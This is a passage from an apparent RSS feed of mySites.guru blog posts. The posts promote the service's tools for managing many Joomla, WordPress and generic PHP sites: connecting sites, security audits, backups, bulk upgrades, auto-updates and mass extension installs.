&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is best known for helping agencies and developers &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;manage multiple Joomla and WordPress sites&lt;/a&gt;, with &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;over 90,000 sites already connected&lt;/a&gt;. But the same toolset works for any PHP application. Drupal, Prestashop, Magento, Laravel, custom-built apps - if it runs PHP, you can connect it.&lt;/p&gt;
&lt;p&gt;That means you get the full &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; capabilities across every site in your portfolio, no matter what CMS it runs.&lt;/p&gt;
&lt;div&gt;
  
  &lt;p&gt;The screenshots below are from an older version of the interface. We&apos;ve since redesigned the dashboard, but the process works the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you connect a generic PHP site?&lt;/h2&gt;
&lt;p&gt;Using the &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;connect-another-site wizard&lt;/a&gt;, select the Generic PHP option and download the connector. Upload it to the &lt;code&gt;/bfnetwork&lt;/code&gt; directory on your server.&lt;/p&gt;
&lt;p&gt;You then provide database credentials (mySites.guru uses a database table to store the audit cache) and you&apos;re connected.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Once connected, your generic PHP site appears alongside your Joomla and WordPress sites in the same dashboard. You manage everything from one place.&lt;/p&gt;
&lt;h2&gt;What tools work with generic PHP sites?&lt;/h2&gt;
&lt;p&gt;You get the same toolset you&apos;d get with a Joomla or WordPress site. Nothing is cut down or restricted.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; collects server details, PHP configuration, disk usage, and database stats. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;full security audit&lt;/a&gt; scans every line of every file in your webspace looking for hacks and malicious code. The &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;suspect content tools&lt;/a&gt; flag anything suspicious and let you view, edit, or delete flagged files directly.&lt;/p&gt;
&lt;p&gt;You can also connect &lt;a href=&quot;https://www.akeeba.com/products/akeeba-solo.html&quot;&gt;Akeeba Backup Solo&lt;/a&gt; and use mySites.guru to &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;trigger periodic backups&lt;/a&gt; of your webspace. With the Professional version, you can push those backups to remote storage like Dropbox or sFTP.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Is uptime monitoring included for free?&lt;/h2&gt;
&lt;p&gt;Every site you add to mySites.guru gets &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;free uptime monitoring&lt;/a&gt; powered by our own monitoring engine. No third-party service, no extra cost.&lt;/p&gt;
&lt;p&gt;mySites.guru alerts you when your site goes offline and again when it comes back. If you ever get an alert but the site loads fine for you, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;here&apos;s why that happens&lt;/a&gt;. Response times are logged so you can spot performance trends and catch problems before your users do.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do backups work with Akeeba Backup Solo?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; is well known in the Joomla world, but the same backup engine is available as a standalone product called &lt;a href=&quot;https://www.akeeba.com/products/akeeba-solo.html&quot;&gt;Akeeba Backup Solo&lt;/a&gt;. It works on any PHP webspace, no CMS required.&lt;/p&gt;
&lt;p&gt;Once installed, mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule and trigger backups&lt;/a&gt; on whatever interval you need. Daily, weekly, or tied to specific events. The Professional edition adds remote push to Dropbox, Amazon S3, sFTP, and other storage backends.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do security audits work for any PHP application?&lt;/h2&gt;
&lt;p&gt;The security audit is where mySites.guru really earns its keep on generic PHP sites. Most security tools are built for WordPress or Joomla specifically. They know what core files should look like and flag changes. But what about a Laravel app, a custom CMS, or a legacy PHP codebase? Those don&apos;t have a &quot;core&quot; to compare against.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s audit doesn&apos;t rely on knowing your CMS. It scans every file in your webspace and looks for patterns that indicate malicious code: base64-encoded payloads, eval statements, obfuscated variables, known backdoor signatures, and more. If someone has injected code into any file on your server, the audit will flag it.&lt;/p&gt;
&lt;p&gt;You can also set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; on critical files. If anything changes, you get an email immediately.&lt;/p&gt;
&lt;h2&gt;What types of PHP applications work?&lt;/h2&gt;
&lt;p&gt;Anything that runs on a standard PHP hosting environment. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Drupal&lt;/strong&gt; - full audit and backup support, uptime monitoring&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prestashop&lt;/strong&gt; - scan your e-commerce files for injected payment skimmers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Magento / Adobe Commerce&lt;/strong&gt; - monitor a complex codebase for unauthorized changes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Laravel&lt;/strong&gt; - audit deployed applications alongside your WordPress and Joomla sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom PHP applications&lt;/strong&gt; - legacy systems, bespoke CRMs, internal tools&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Static sites with PHP contact forms&lt;/strong&gt; - even minimal PHP sites benefit from file monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The connector doesn&apos;t care what framework you use. It just needs PHP and a database connection for caching.&lt;/p&gt;
&lt;h2&gt;How do you manage a mixed portfolio?&lt;/h2&gt;
&lt;p&gt;Most agencies don&apos;t run a single CMS. You&apos;ve got clients on WordPress, a few legacy Joomla sites, maybe a custom Laravel app for an internal tool, and a Drupal site that nobody wants to touch.&lt;/p&gt;
&lt;p&gt;Before mySites.guru, that meant separate dashboards, separate monitoring tools, and separate backup workflows for each platform. Now everything lives in one place.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; flag common configuration problems across all your sites. PHP version too old? Debug mode left on? Weak file permissions? You&apos;ll see it for your generic PHP sites the same way you see it for WordPress and Joomla.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;Connecting your first generic PHP site takes a few minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to mySites.guru and use the &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;connect-another-site wizard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Select &quot;Generic PHP&quot; and download the connector&lt;/li&gt;
&lt;li&gt;Upload the connector to your server&apos;s &lt;code&gt;/bfnetwork&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;Enter your database credentials in the wizard&lt;/li&gt;
&lt;li&gt;Run your first snapshot and audit&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;From there, you can schedule backups, enable uptime monitoring, and set up file change alerts - the same workflow you&apos;d use for a Joomla or WordPress site.&lt;/p&gt;
&lt;p&gt;For a broader look at monitoring strategy across a mixed portfolio, see the &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; to connect your first PHP site and see what mySites.guru finds.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>monitoring</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-12.Du0StSCf.webp" length="0" type="image/webp"/></item><item><title>Manage Multiple WordPress Sites Like a Pro</title><link>https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/</guid><description>Practical tips for managing multiple WordPress sites efficiently, covering centralised dashboards, backup strategies, security hardening and team workflows.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Once you&apos;re past about five WordPress sites, the cracks start showing. You forget which ones you&apos;ve updated, backups slip, and you only find out about a security issue when a client asks why their site is redirecting to a pharmacy.&lt;/p&gt;
&lt;p&gt;Here&apos;s what actually works when you&apos;re managing lots of sites, based on over a decade of doing this myself.&lt;/p&gt;
&lt;h2&gt;Get everything into one dashboard&lt;/h2&gt;
&lt;p&gt;Logging into each site individually is the first thing that has to go. You need a single place that shows you update counts, security status, and uptime across every site.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; does this for unlimited WordPress, Joomla, and PHP sites at a flat monthly price. There are other options like ManageWP and MainWP too, but they tend to charge per site, which gets expensive fast when you&apos;re managing hundreds. For a deeper look at what a proper setup covers, see the guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; from a single dashboard.&lt;/p&gt;
&lt;p&gt;Whatever you pick, stop using browser bookmarks as your &quot;management system&quot;.&lt;/p&gt;
&lt;h2&gt;Automate backups&lt;/h2&gt;
&lt;p&gt;Manual backups don&apos;t happen. Everyone says they&apos;ll do them weekly, nobody actually does. Set up &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt; and forget about them. mySites.guru lets you &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;schedule backups across thousands of sites&lt;/a&gt; using Akeeba Backup or All-In-One Migration.&lt;/p&gt;
&lt;p&gt;The important bit: test your restores occasionally. A backup you&apos;ve never tested is just a file that makes you feel better.&lt;/p&gt;
&lt;h2&gt;Update in bulk&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Outdated plugins&lt;/a&gt; are the number one way WordPress sites get hacked. That&apos;s not opinion, it&apos;s what I see across the 90,000+ sites connected to mySites.guru.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Bulk updates&lt;/a&gt; let you push plugin, theme, and core updates to every site at once. You still need to pay attention to what you&apos;re updating, especially major version jumps like &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;WordPress 7.0 &quot;Armstrong&quot;&lt;/a&gt;, but the days of clicking &quot;Update&quot; on each site individually should be behind you. If you want full control, you can also &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable WordPress automatic updates&lt;/a&gt; across all your sites from the dashboard so nothing changes without your say-so. See the full walkthrough on how to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress sites&lt;/a&gt; if you want the step-by-step detail.&lt;/p&gt;
&lt;h2&gt;Security goes deeper than a plugin&lt;/h2&gt;
&lt;p&gt;Installing Wordfence is fine, but it&apos;s surface-level. Real security means &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;scanning every file in your webspace&lt;/a&gt; for things that shouldn&apos;t be there: &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoors, injected code, modified core files&lt;/a&gt;. If you&apos;re still thinking of site management as just updates and backups, &lt;a href=&quot;https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/&quot;&gt;it covers a lot more ground than that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You also want &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; when files change unexpectedly or someone logs into an admin panel. Finding a hack three months after it happened is significantly worse than catching it the same day. And when you do need to jump in, &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; gets you into any site&apos;s admin console without hunting for credentials.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security headers&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate monitoring&lt;/a&gt; are easy wins that most people skip.&lt;/p&gt;
&lt;h2&gt;Teams need their own logins&lt;/h2&gt;
&lt;p&gt;If your whole agency shares one mySites.guru login, or worse, one WordPress admin password across all client sites, stop. Give everyone &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;their own account&lt;/a&gt; with appropriate permissions. It&apos;s free with mySites.guru and means you can actually see who did what.&lt;/p&gt;
&lt;h2&gt;Audit your sites regularly&lt;/h2&gt;
&lt;p&gt;Not just for SEO. Check for &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice issues&lt;/a&gt;, PHP version compatibility, &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk space warnings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;leftover default content like the Sample Page and Hello World post&lt;/a&gt;, and admin customisations like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt;. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot runs over 100 checks&lt;/a&gt; on each connected site, twice a day. You can also &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; right now to see what it finds.&lt;/p&gt;
&lt;h2&gt;The short version&lt;/h2&gt;
&lt;p&gt;Get a proper dashboard, automate your backups, update in bulk, scan deep for security issues, and give your team their own access. That&apos;s it. None of this is complicated. The hard part is actually setting it up instead of telling yourself you&apos;ll get to it next week.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the complete approach, see our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>multi-site management</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/_astro/39.CwEfQbBb.webp" length="0" type="image/webp"/></item><item><title>Upgrade 100s of Sites from One Dashboard</title><link>https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/</guid><description>Run core and extension updates across hundreds of Joomla and WordPress sites from the mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the most popular reasons for using &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is being able to upgrade Joomla and WordPress core across all your sites without logging into each one individually. Here&apos;s how the process works: back up, upgrade, verify.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;After logging in, the left menu shows how many &lt;a href=&quot;https://manage.mysites.guru/en/sites/coreoutofdate&quot;&gt;Core Updates&lt;/a&gt; are needed. In this example, 15 sites need a core update (and 59 plugins/extensions, but we&apos;ll focus on core for now).&lt;/p&gt;
&lt;p&gt;Go to the &lt;a href=&quot;https://manage.mysites.guru/en/backups/#schedules&quot;&gt;Scheduled Backups page&lt;/a&gt; and open the &lt;a href=&quot;https://manage.mysites.guru/en/backups/#schedules&quot;&gt;schedules tab&lt;/a&gt;. For Joomla, mySites.guru uses &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Akeeba Backup&lt;/a&gt; (free or paid, both work). You can back up one site at a time or click &quot;Start Backup Of All Sites&quot; to queue them all at once.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Backups are queued and run in the background - you don&apos;t need to stay on the page. Once you&apos;re happy everything is backed up, move to the upgrades. &lt;em&gt;(Periodically test your restores too - an untested backup is just a file that makes you feel better.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Open the &quot;&lt;a href=&quot;https://manage.mysites.guru/en/upgrade/sites/en-masse&quot;&gt;Mass Upgrade Sites&lt;/a&gt;&quot; tool. It fetches available upgrade paths from your sites, which takes a few seconds. Select individual sites or click &quot;Select All,&quot; then hit the green button.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Each upgrade is queued in the background and you&apos;re taken to the status page to watch progress. You can do small batches or select everything - that&apos;s your call based on how comfortable you are with the risk.&lt;/p&gt;
&lt;p&gt;Once upgrades are done, &lt;a href=&quot;https://manage.mysites.guru/en/backups/&quot;&gt;run a new backup&lt;/a&gt; and &lt;a href=&quot;https://manage.mysites.guru/en/audits/#scheduleaudits&quot;&gt;start a fresh audit&lt;/a&gt; to verify everything is healthy. You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;remove leftover fluff files from Joomla automatically&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The same process works for WordPress sites not using WordPress&apos;s built-in auto-updates. For a full walkthrough focused on WordPress, see the guide to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk updating WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Team tip:&lt;/strong&gt; If you&apos;d rather delegate this to someone else, you can &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;add unlimited team members&lt;/a&gt; to your mySites.guru account and assign them the upgrade task.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Bulk updates are covered in detail in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>updates</category><category>bulk actions</category><category>dashboard</category><enclosure url="https://mysites.guru/_astro/upgrade.CQOFij3f.webp" length="0" type="image/webp"/></item><item><title>Test Site Performance With Lighthouse</title><link>https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/</guid><description>Run Google Lighthouse performance audits against any of your connected Joomla or WordPress sites directly from within the mySites.guru dashboard.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;We no longer provide built-in Lighthouse Performance Audits.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Google&apos;s Lighthouse tooling has matured to the point where it no longer makes sense for us to wrap it as a micro-service. You can run the same audits directly through the official &lt;a href=&quot;https://pagespeed.web.dev/&quot;&gt;PageSpeed Insights&lt;/a&gt; service from Google - it&apos;s free, always up to date, and gives you the full Lighthouse report.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Performance auditing is part of our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;complete site monitoring guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>performance</category><category>lighthouse</category><category>audit tools</category><enclosure url="https://mysites.guru/_astro/Lighthouse-Performance-Audits.DhB_hDjA.webp" length="0" type="image/webp"/></item><item><title>Auto-Upgrade 1000s of Plugins &amp; Extensions</title><link>https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/</guid><description>Update Joomla extensions, WordPress plugins, and CMS cores across all your sites from one mySites.guru dashboard. Select all, click upgrade, done.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve already written about &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for Joomla extensions&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;the step-by-step how-to for enabling extension auto-updates safely&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;removing fluff files after updates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;managing extensions and plugins&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrading from one dashboard&lt;/a&gt;. Here&apos;s how all of that fits together in practice - and why updates are one of the most-used &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; in the dashboard.&lt;/p&gt;
&lt;h2&gt;How do you mass upgrade Joomla and WordPress from one dashboard?&lt;/h2&gt;
&lt;p&gt;Select all your out-of-date Joomla or WordPress sites, click &quot;Start Upgrades For Selected Sites,&quot; and go make a coffee.&lt;/p&gt;
&lt;p&gt;mySites.guru queues each site, downloads the right update package, extracts files on your server, and runs post-install tasks. If you&apos;ve turned on &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;fluff file removal&lt;/a&gt; for Joomla, that happens automatically too.&lt;/p&gt;
&lt;p&gt;Doesn&apos;t matter if it&apos;s one site or a hundred.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you enable auto-updates for any Joomla extension?&lt;/h2&gt;
&lt;p&gt;Any update stream in mySites.guru can be flagged for automatic updates. Say you have &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; installed - when a new version comes out, mySites.guru queues the update without you lifting a finger.&lt;/p&gt;
&lt;p&gt;You can enable this per site, or flip it on across every site that has a given extension. Works with any Joomla extension, not just Akeeba.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Viewing and Applying WordPress Plugin Updates&lt;/h2&gt;
&lt;p&gt;On the Manage Site page, you&apos;ll see all available plugin updates for WordPress (and Joomla). Release notes from the developer are right there, and you can apply the update with one click.&lt;/p&gt;
&lt;p&gt;Current versions show in red, available versions in green. You can see the exact upgrade path before you commit to anything.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Pending updates in the sidebar&lt;/h2&gt;
&lt;p&gt;The left menu keeps a running count of extension updates, plugin updates, and core upgrades across all your sites. Quick way to see how much maintenance you&apos;ve got piling up.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Keeping sites current&lt;/h2&gt;
&lt;p&gt;Between mass upgrades, per-extension auto-updates, and the per-site plugin view, there&apos;s no reason for your sites to fall behind. Keeping everything current also reduces your exposure to &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;known plugin vulnerabilities&lt;/a&gt;. You can review the version upgrade path before committing and run post-upgrade cleanup like fluff file removal. For a full walkthrough focused on WordPress, see the guide to &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk updating WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Back up before any upgrade&lt;/h3&gt;
&lt;p&gt;mySites.guru has &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;built-in support for Akeeba Backup and the All-In-One Migration Plugin&lt;/a&gt; (WordPress), so you can take a backup before applying updates - one site or all of them at once.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Keep in mind&lt;/p&gt;
  &lt;p&gt;Backing up all sites at once will put temporary load on your servers while the backups run.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is part of our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing CMS updates at scale&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>updates</category><category>extensions</category><category>plugins</category><enclosure url="https://mysites.guru/_astro/Automatically-upgrade-1000s-of-Joomla-WordPress-Plugins-.CAvNIAif.webp" length="0" type="image/webp"/></item><item><title>Install Extensions to 1000+ Sites at Once</title><link>https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/</guid><description>Install any Joomla extension or WordPress plugin across 1,000 sites in one go using the mySites.guru bulk install tool - no SSH or FTP needed.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you manage dozens or hundreds of Joomla and WordPress sites, installing the same extension one site at a time gets old fast. mySites.guru lets you &lt;strong&gt;push any plugin or extension to unlimited sites in a single action&lt;/strong&gt; - no SSH or FTP required.&lt;/p&gt;
&lt;p&gt;The Mass Package Installer in mySites.guru handles Joomla extensions, plugins, modules, templates, and &lt;a href=&quot;https://mysites.guru/&quot;&gt;WordPress plugins from one dashboard&lt;/a&gt;. You can push an update manually or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;upgrade across all your sites at once&lt;/a&gt;. When a browser update &lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;breaks the Joomla editor across every version&lt;/a&gt;, this is how you push the hotfix to hundreds of sites in minutes instead of hours.&lt;/p&gt;
&lt;p&gt;For a detailed walkthrough, see the dedicated &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass plugin installer guide&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Where do I find this tool?&lt;/h2&gt;
&lt;p&gt;Open the main tool finder in mySites.guru and search for &quot;Mass Package Installer.&quot;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Upload a zip file or provide a direct URL to a hosted zip file in step one:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then select one, two, or all of your connected Joomla and WordPress sites:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click &quot;Install Extension On Selected Sites&quot; and grab a coffee. mySites.guru queues a background job for each site and works through them while you do something else.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s it.&lt;/p&gt;
&lt;h3&gt;Bonus: filter sites by installed extension&lt;/h3&gt;
&lt;p&gt;Say you want to install the latest Akeeba Backup on every site that already has an older version. Use the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Extensions feature&lt;/a&gt; in mySites.guru to search for Akeeba:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then click &quot;filter by these&quot; to jump to the Mass Package Installer with only those sites pre-selected:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Want to see it in action?&lt;/h2&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
